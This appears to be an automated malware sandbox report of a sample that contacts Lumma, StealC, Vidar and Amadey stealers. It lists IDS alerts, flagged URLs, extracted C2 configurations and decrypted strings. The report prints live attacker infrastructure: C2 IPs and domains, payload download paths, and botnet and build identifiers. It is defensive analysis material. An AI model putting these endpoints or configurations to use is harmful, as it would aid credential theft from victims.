Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-08T15:21:58.647545+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49849	188.114.96.3	443	TCP
2024-11-08T15:22:00.041249+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49851	188.114.96.3	443	TCP
2024-11-08T15:22:11.021324+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49865	188.114.96.3	443	TCP
2024-11-08T15:22:12.243542+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49867	188.114.96.3	443	TCP
2024-11-08T15:22:15.346484+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49874	188.114.96.3	443	TCP
2024-11-08T15:22:28.086356+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49887	188.114.96.3	443	TCP
2024-11-08T15:22:29.308016+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49888	188.114.96.3	443	TCP
2024-11-08T15:22:40.551903+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49900	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-08T15:21:58.647545+0100	2049836	1	A Network Trojan was detected	192.168.2.8	49849	188.114.96.3	443	TCP
2024-11-08T15:22:11.021324+0100	2049836	1	A Network Trojan was detected	192.168.2.8	49865	188.114.96.3	443	TCP
2024-11-08T15:22:28.086356+0100	2049836	1	A Network Trojan was detected	192.168.2.8	49887	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-08T15:22:00.041249+0100	2049812	1	A Network Trojan was detected	192.168.2.8	49851	188.114.96.3	443	TCP
2024-11-08T15:22:12.243542+0100	2049812	1	A Network Trojan was detected	192.168.2.8	49867	188.114.96.3	443	TCP
2024-11-08T15:22:29.308016+0100	2049812	1	A Network Trojan was detected	192.168.2.8	49888	188.114.96.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-08T15:21:58.118523+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.8	49849	188.114.96.3	443	TCP
2024-11-08T15:21:59.348528+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.8	49851	188.114.96.3	443	TCP
2024-11-08T15:22:01.000485+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.8	49852	188.114.96.3	443	TCP
2024-11-08T15:22:02.695281+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.8	49854	188.114.96.3	443	TCP
2024-11-08T15:22:04.758807+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.8	49855	188.114.96.3	443	TCP
2024-11-08T15:22:07.390464+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.8	49858	188.114.96.3	443	TCP
2024-11-08T15:22:10.146428+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.8	49864	188.114.96.3	443	TCP
2024-11-08T15:22:10.490730+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.8	49865	188.114.96.3	443	TCP
2024-11-08T15:22:11.751834+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.8	49867	188.114.96.3	443	TCP
2024-11-08T15:22:13.275287+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.8	49871	188.114.96.3	443	TCP
2024-11-08T15:22:14.651374+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.8	49874	188.114.96.3	443	TCP
2024-11-08T15:22:14.799955+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.8	49875	188.114.96.3	443	TCP
2024-11-08T15:22:17.207760+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.8	49877	188.114.96.3	443	TCP
2024-11-08T15:22:20.366521+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.8	49879	188.114.96.3	443	TCP
2024-11-08T15:22:23.091752+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.8	49882	188.114.96.3	443	TCP
2024-11-08T15:22:25.664812+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.8	49885	188.114.96.3	443	TCP
2024-11-08T15:22:27.526127+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.8	49887	188.114.96.3	443	TCP
2024-11-08T15:22:28.749487+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.8	49888	188.114.96.3	443	TCP
2024-11-08T15:22:30.481560+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.8	49890	188.114.96.3	443	TCP
2024-11-08T15:22:32.162237+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.8	49892	188.114.96.3	443	TCP
2024-11-08T15:22:33.981779+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.8	49893	188.114.96.3	443	TCP
2024-11-08T15:22:36.105146+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.8	49895	188.114.96.3	443	TCP
2024-11-08T15:22:37.769894+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.8	49898	188.114.96.3	443	TCP
2024-11-08T15:22:40.063796+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.8	49900	188.114.96.3	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-08T15:21:58.207984+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49848	185.215.113.43	80	TCP
2024-11-08T15:22:07.510079+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49857	185.215.113.43	80	TCP
2024-11-08T15:22:11.506395+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49866	185.215.113.43	80	TCP
2024-11-08T15:22:21.716454+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49880	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-08T15:21:57.301396+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.8	52699	1.1.1.1	53	UDP
2024-11-08T15:22:09.734150+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.8	59206	1.1.1.1	53	UDP
2024-11-08T15:22:26.793439+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.8	57535	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-08T15:21:57.327346+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.8	61334	1.1.1.1	53	UDP
2024-11-08T15:22:09.759519+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.8	65248	1.1.1.1	53	UDP
2024-11-08T15:22:26.820846+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.8	54411	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-08T15:21:57.403737+0100	2057121	1	Domain Observed Used for C2 Detected	192.168.2.8	51945	1.1.1.1	53	UDP
2024-11-08T15:22:09.847049+0100	2057121	1	Domain Observed Used for C2 Detected	192.168.2.8	51493	1.1.1.1	53	UDP
2024-11-08T15:22:26.896771+0100	2057121	1	Domain Observed Used for C2 Detected	192.168.2.8	56098	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-08T15:21:57.429725+0100	2057119	1	Domain Observed Used for C2 Detected	192.168.2.8	53966	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-08T15:21:57.377748+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.8	51640	1.1.1.1	53	UDP
2024-11-08T15:22:09.820700+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.8	50300	1.1.1.1	53	UDP
2024-11-08T15:22:26.871331+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.8	51713	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-08T15:21:57.070960+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.8	64278	1.1.1.1	53	UDP
2024-11-08T15:22:09.694830+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.8	51764	1.1.1.1	53	UDP
2024-11-08T15:22:26.584252+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.8	60964	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-08T15:21:57.352523+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.8	61100	1.1.1.1	53	UDP
2024-11-08T15:22:09.796581+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.8	52989	1.1.1.1	53	UDP
2024-11-08T15:22:26.846810+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.8	61359	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-08T15:20:39.584697+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.8	49705	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-08T15:20:39.578072+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.8	49705	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-08T15:20:39.867668+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.8	49705	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-08T15:20:40.991083+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.8	49705	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-08T15:20:39.875225+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.8	49705	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-08T15:22:01.524283+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.8	49852	188.114.96.3	443	TCP
2024-11-08T15:22:36.596614+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.8	49895	188.114.96.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-08T15:20:39.274958+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49705	185.215.113.206	80	TCP
2024-11-08T15:22:08.046053+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49859	185.215.113.206	80	TCP
2024-11-08T15:22:19.384608+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49878	185.215.113.206	80	TCP
2024-11-08T15:22:25.841544+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49884	185.215.113.206	80	TCP
2024-11-08T15:22:36.844110+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49896	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-08T15:21:45.409113+0100	2856147	1	A Network Trojan was detected	192.168.2.8	49843	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-08T15:21:57.295001+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.8	49844	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-08T15:21:48.789263+0100	2803305	3	Unknown Traffic	192.168.2.8	49845	185.215.113.16	80	TCP
2024-11-08T15:21:59.223023+0100	2803305	3	Unknown Traffic	192.168.2.8	49850	185.215.113.16	80	TCP
2024-11-08T15:22:12.449223+0100	2803305	3	Unknown Traffic	192.168.2.8	49868	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-08T15:20:41.576697+0100	2803304	3	Unknown Traffic	192.168.2.8	49705	185.215.113.206	80	TCP
2024-11-08T15:21:08.863869+0100	2803304	3	Unknown Traffic	192.168.2.8	49753	185.215.113.206	80	TCP
2024-11-08T15:21:14.292104+0100	2803304	3	Unknown Traffic	192.168.2.8	49753	185.215.113.206	80	TCP
2024-11-08T15:21:17.898729+0100	2803304	3	Unknown Traffic	192.168.2.8	49753	185.215.113.206	80	TCP
2024-11-08T15:21:20.237286+0100	2803304	3	Unknown Traffic	192.168.2.8	49753	185.215.113.206	80	TCP
2024-11-08T15:21:25.873706+0100	2803304	3	Unknown Traffic	192.168.2.8	49753	185.215.113.206	80	TCP
2024-11-08T15:21:26.493678+0100	2803304	3	Unknown Traffic	192.168.2.8	49753	185.215.113.206	80	TCP
2024-11-08T15:21:30.955097+0100	2803304	3	Unknown Traffic	192.168.2.8	49840	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-08T15:22:10.150170+0100	2843864	1	A Network Trojan was detected	192.168.2.8	49864	188.114.96.3	443	TCP
2024-11-08T15:22:23.104586+0100	2843864	1	A Network Trojan was detected	192.168.2.8	49882	188.114.96.3	443	TCP
2024-11-08T15:22:37.774765+0100	2843864	1	A Network Trojan was detected	192.168.2.8	49898	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://navygenerayk.store/e	Avira URL Cloud: Label: malware
Source: https://navygenerayk.store/m	Avira URL Cloud: Label: malware
Source: https://navygenerayk.store:443/apiK	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/fac00b58987e8e4f4b2846d934f48b15eaa495c49###E;	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/746f34465cf17784/freebl3.dllY	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/uy	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exewv	Avira URL Cloud: Label: phishing
Source: http://185.215.113.43/Zu7JuNko/index.php6001	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php/K	Avira URL Cloud: Label: phishing
Source: http://185.215.113.43/ert	Avira URL Cloud: Label: malware
Source: https://navygenerayk.store/-	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/746f34465cf17784/nss3.dll;	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/Local	Avira URL Cloud: Label: malware
Source: https://navygenerayk.store/=	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exelencoded	Avira URL Cloud: Label: phishing

Found malware configuration

Source: 00000018.00000002.2078054649.0000000000F91000.00000040.00000001.01000000.00000014.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 27.2.8407c5d8e2.exe.4b0000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["thumbystriw.store", "fadehairucw.store", "necklacedmny.store", "presticitpo.store", "scriptyprefej.store", "navygenerayk.store", "crisiwarny.store", "founpiuer.store"], "Build id": "4SD0y4--legendaryy"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: 30
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: 11
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: 20
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: 24
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GetProcAddress
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: LoadLibraryA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: lstrcatA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: OpenEventA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: CreateEventA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: CloseHandle
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: Sleep
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: VirtualFree
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GetSystemInfo
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: VirtualAlloc
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: HeapAlloc
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GetComputerNameA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: lstrcpyA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GetProcessHeap
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GetCurrentProcess
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: lstrlenA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: ExitProcess
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GetSystemTime
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: advapi32.dll
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: gdi32.dll
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: user32.dll
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: crypt32.dll
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: ntdll.dll
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GetUserNameA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: CreateDCA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GetDeviceCaps
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: ReleaseDC
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: sscanf
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: VMwareVMware
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: HAL9TH
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: JohnDoe
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: DISPLAY
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: http://185.215.113.206
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: bksvnsj
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: /746f34465cf17784/
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: tale
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GetFileAttributesA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GlobalLock
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: HeapFree
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GetFileSize
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GlobalSize
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: IsWow64Process
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: Process32Next
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GetLocalTime
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: FreeLibrary
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GetVolumeInformationA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: Process32First
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GetLocaleInfoA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GetModuleFileNameA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: DeleteFileA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: FindNextFileA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: LocalFree
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: FindClose
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: LocalAlloc
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GetFileSizeEx
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: ReadFile
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: SetFilePointer
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: WriteFile
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: CreateFileA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: FindFirstFileA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: CopyFileA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: VirtualProtect
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GetLastError
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: lstrcpynA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: MultiByteToWideChar
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GlobalFree
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: WideCharToMultiByte
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GlobalAlloc
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: OpenProcess
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: TerminateProcess
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GetCurrentProcessId
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: gdiplus.dll
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: ole32.dll
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: bcrypt.dll
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: wininet.dll
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: shlwapi.dll
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: shell32.dll
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: psapi.dll
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: rstrtmgr.dll
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: SelectObject
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: BitBlt
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: DeleteObject
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: CreateCompatibleDC
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GdiplusStartup
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GdiplusShutdown
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GdipDisposeImage
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GdipFree
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: CoUninitialize
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: CoInitialize
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: CoCreateInstance
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: BCryptDecrypt
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: BCryptSetProperty
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: BCryptDestroyKey
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GetWindowRect
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GetDesktopWindow
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GetDC
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: CloseWindow
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: wsprintfA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: CharToOemW
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: wsprintfW
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: RegQueryValueExA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: RegEnumKeyExA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: RegOpenKeyExA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: RegCloseKey
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: RegEnumValueA
Source: 30.2.ef7349e1dc.exe.d70000.0.unpack	String decryptor: CryptBinaryToStringA
